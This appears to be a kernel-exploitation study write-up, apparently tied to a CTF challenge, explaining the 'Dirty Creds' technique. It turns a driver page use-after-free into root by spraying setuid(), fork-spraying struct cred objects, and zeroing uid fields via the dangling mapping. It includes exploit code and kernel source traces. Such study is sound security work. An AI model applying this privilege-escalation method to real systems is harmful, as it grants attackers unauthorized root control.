Dirty Creds
Summary
A driver bug frees a physical page while a userspace mmap() of it is still alive , the page goes back to the buddy allocator, but the process can still read/write it through the old virtual mapping. That’s the primitive this whole technique needs: a dangling page, not a dangling object.
Everything else in this sectoin is turning this primitive into root, by getting the kernel to reclaim that exact page as a struct cred, then corrupting the data structure.
Abstract
- Trigger the bug → get a dangling
pagepointer. - Then Spray credential-changing syscall (e.g.
setuid()) right after freeing. Why? This reclaims the dangling page into thecredallocator’s cache and primes its freelist. fork()many children (plainfork(), not threads) — each one independently allocates its own freshstruct cred, becoming a candidate whose object might be sitting on the reclaimed page.- Each child polls its own
getuid()in a loop, waiting to notice its own credentials change. - After fork bomb, corrupt the data structure of the cred struct (in parent process) via the dangling pointer.
- Whichever child’s
struct credhappened to be living there noticesuid == 0and pops a shell.
Below is why each of those steps works, at the source level, and a worked example to show what the intermediate state actually looks like.
fd = open_dev();
alloc(); // driver hands out a page
void *page = mmap(); // mmap it — userspace pointer to that physical page
_free(); // driver frees the page WITHOUT unmapping it — the bug
for (int i = 0; i < 0x50; i++)
setuid(1000); // step 2
if (!fork())
fork_n_win(0x100); // steps 3-4, 256 children
usleep(1000000); // step 5's delay
memset(page, 0, 0x18 + 4); // step 5
Why struct cred specifically?
Every struct cred in the kernel comes from one dedicated cache:
// kernel/cred.c:539
cred_jar = KMEM_CACHE(cred, SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT);
and it starts with exactly the fields you want to zero:
// include/linux/cred.h:115
struct cred {
atomic_long_t usage; // offset 0x00, 8 bytes — the refcount
kuid_t uid; // 0x08
kgid_t gid; // 0x0c
kuid_t suid; // 0x10
kgid_t sgid; // 0x14
kuid_t euid; // 0x18
kgid_t egid; // 0x1c
...
Zeroing exactly 0x1c = 28 bytes = offsets 0x00–0x1b covers usage, uid, gid, suid, sgid, euid
cred_jar doesn’t show up in slab list why ?
pwndbg> slab list | grep cred
(nothing)
KMEM_CACHE(cred, ...) names the cache "cred" (from include/linux/slab.h:493-497), so if it were standalone it’d show up under that name. If it doesn’t, SLUB merged it into another cache.
pwndbg> p *cred_jar
pwndbg> p cred_jar->name
$1 = 0xffffffff826b3ad7 "kmalloc-192"
cred_jar and generic kmalloc-192 become the literal same struct kmem_cache whenever two caches land within sizeof(void*) of each other in size, with matching SLAB_MERGE_SAME flags (SLAB_RECLAIM_ACCOUNT | SLAB_CACHE_DMA | SLAB_CACHE_DMA32 | SLAB_ACCOUNT) ( mm/slab_common.c:194-229). This happens by default; only slab_nomerge on the boot cmdline disables it. Check your target’s boot cmdline before assuming any cache stands alone, and always confirm the real merged name via cred_jar->name rather than guessing from object size.
However, regardless of target, it should work as long as we correctly drain cred jar cache and force it allocate pages from buddy allocator
Why spray a credential syscall at all — doesn’t fork() allocate creds too?
Yes — every plain fork() also calls prepare_creds()
// kernel/cred.c:263
if (... clone_flags & CLONE_THREAD) {
p->real_cred = get_cred_many(p->cred, 2); // threads SHARE — no new allocation
return 0;
}
new = prepare_creds(); // plain fork(): a brand-new cred_jar allocation, every single time
So , forking many children alone generates that many independent cred_jar allocations. Why isn’t that enough by itself? Two general reasons, applicable to any target.
Reason 1 — pre-existing slack gets consumed first, and it’s not free
Any live kernel already has some slack sitting in whatever cache you’re targeting, left over from ordinary background activity (other subsystems sharing the merged cache, the exploit process’s own earlier allocations, etc.). If your fork bomb runs first with no prior spray, its earliest allocations will silently land on that pre-existing, irrelevant slack , not the dangling page , before the cache is ever forced to ask the buddy allocator for anything new. Every allocation that lands on old slack is one fewer candidate available to land on your actual target.
Spraying a cheap credential-changing syscall first burns through this slack, so the fork burst’s allocations start hitting fresh, buddy-sourced pages sooner.
Reason 2 — fork() is noisy across dozens of unrelated caches
This is the bigger reason, stated in the writeup here https://blog.shunt.in/2025/2/oob-write-to-page-uaf-lactf-2025/
“creating a new process creates a lot of noise where some other caches might occupy our freed page, which will affect the stability of our exploit, when I tried I was not even able occupy the page with cred once.”
Why: a single fork() doesn’t just allocate a struct cred. In one syscall it also allocates a task_struct, an mm_struct, a vm_area_struct per VMA, an anon_vma, a files_struct, a signal_struct, a sighand_struct, a pid, and more , each from its own separate slab cache. The instant your freed page becomes available, it’s not just cred_jar that might claim it , it’s whichever of these caches happens to need a fresh page at that exact moment. A burst of many fork() calls multiplies this: dozens of unrelated allocators all competing for whatever the buddy allocator hands out next, and cred_jar is just one among many.
setuid() doesn’t have this problem , it touches only cred_jar, via prepare_creds()/commit_creds(), and nothing else. No competing caches, no noise:
“The exploit relied on setuid, which triggers prepare_creds and allocates cred objects to prepopulate cred_jar slabs. This way, the exploit can trigger allocations of such pages without much noise and then fork to retake them… Repeatedly calling setuid will drain the cred_jar cache, so kernel will re-fill the cache by getting pages from the page allocator without much noise as fork would.”
But each spray iteration frees the old cred — isn’t alloc/free balanced?
No, it is because the free is deferred, the alloc isn’t. This applies to struct cred on any kernel version using RCU-based credential freeing, below is the trace of full call trace:
// kernel/sys.c:651 — __sys_setuid(), as one example of a credential-changing syscall
new = prepare_creds(); // ALLOC — kmem_cache_alloc(cred_jar,...), synchronous, immediate
...
return commit_creds(new); // update it, and release the old one
// kernel/cred.c:368 — commit_creds()
get_cred(new);
rcu_assign_pointer(task->real_cred, new); //updates the cred pointer
rcu_assign_pointer(task->cred, new);
put_cred_many(old, 2); // ← the old cred free starts here
// include/linux/cred.h:264 — put_cred_many()
if (atomic_long_sub_and_test(nr, &cred->usage)) // synchronous atomic decrement, immediate
__put_cred(cred);
// kernel/cred.c:71 — __put_cred()
if (cred->non_rcu)
put_cred_rcu(&cred->rcu);
else
call_rcu(&cred->rcu, put_cred_rcu); // This is lazy free
call_rcu() doesn’t free anything — it queues put_cred_rcu() (the function that actually calls kmem_cache_free(cred_jar, cred)) to run after a grace period.
By default the callbacks are ‘lazy’ … which can happen on systems without memory pressure and on systems which are lightly loaded or mostly idle.
So the real accounting per iteration is: alloc is real and immediate; the corresponding free is real but queued, and largely hasn’t executed by the time the loop finishes. N iterations behaves much closer to
Why spray many forked children and polling their own uid ?
Nobody knows in advance which of your spray-phase and fork-phase allocations physically landed on the reclaimed dangling page. So instead of aiming, spray candidates and race:
while (getuid() == 1000) { // each child independently watches its OWN cred
sleep(1);
}
Whichever child’s own struct cred happens to be sitting at the corrupted address notices its own uid flip the instant the corrupting write fires, and only that one breaks out.
Why the corrupting write can happen from the original process, not from inside a specific child: if the dangling page is mapped MAP_SHARED, that mapping is inherited unchanged across fork() and every forked child has the exact same virtual→physical mapping as the parent. Any process in the whole tree could fire the write. However, keeping it in the original orchestrating process is just simpler control flow,
Why there’s no race risk of writing before a specific child’s cred exists: fork()/clone() cannot return to userspace until copy_process() in completed kernel/fork.c:2153). A child either fully exists with a fully-formed cred, or it doesn’t exist yet at all — there’s no half-written intermediate state to race against, on any kernel version, because fork() is fundamentally synchronous at this level. The only real uncertainty is that: has the whole fork burst finished by the time your delay expires. However, Forking is cheap. Even a few hundred children typically finish in under a second on real hardware. So a generous delay is normal and sufficient.
usleep(1000000);
memset(page, 0, 0x18 + 4); // Overwrite cred structure
References
- http://ctf-wiki.org/en/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow/
- https://blog.shunt.in/2025/2/oob-write-to-page-uaf-lactf-2025/
- https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
- https://github.com/zoozoo-sec/Kernel-Exploit-Dojo/blob/main/2026/0xFUN_CTF_2026/Pwn_Phantom/writeup/writeup01.c
- https://projectzero.google/2017/05/exploiting-linux-kernel-via-packet.html - Project Zero Writeup